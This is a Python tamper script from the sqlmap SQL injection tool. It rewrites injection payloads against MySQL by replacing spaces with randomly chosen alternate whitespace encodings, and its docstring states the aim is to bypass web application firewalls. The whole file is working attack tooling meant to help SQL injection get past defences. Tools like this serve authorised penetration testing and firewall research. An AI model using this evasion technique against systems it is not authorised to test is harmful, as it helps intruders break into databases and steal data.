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73 lines
1.9 KiB
Python
73 lines
1.9 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import os
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import random
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from lib.core.common import singleTimeWarnMessage
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from lib.core.compat import xrange
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from lib.core.enums import DBMS
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.LOW
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def dependencies():
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singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
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def tamper(payload, **kwargs):
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"""
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Replaces (MySQL) instances of space character (' ') with a random blank character from a valid set of alternate characters
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Requirement:
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* MySQL
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Tested against:
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* MySQL 5.1
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Notes:
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* Useful to bypass several web application firewalls
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>>> random.seed(0)
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>>> tamper('SELECT id FROM users')
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'SELECT%A0id%0CFROM%0Dusers'
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"""
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# ASCII table:
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# TAB 09 horizontal TAB
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# LF 0A new line
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# FF 0C new page
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# CR 0D carriage return
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# VT 0B vertical TAB (MySQL and Microsoft SQL Server only)
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# A0 non-breaking space
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blanks = ('%09', '%0A', '%0C', '%0D', '%0B', '%A0')
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retVal = payload
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if payload:
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retVal = ""
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quote, doublequote, firstspace = False, False, False
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for i in xrange(len(payload)):
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if not firstspace:
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if payload[i].isspace():
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firstspace = True
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retVal += random.choice(blanks)
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continue
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elif payload[i] == '\'':
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quote = not quote
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elif payload[i] == '"':
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doublequote = not doublequote
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elif payload[i] == " " and not doublequote and not quote:
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retVal += random.choice(blanks)
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continue
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retVal += payload[i]
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return retVal
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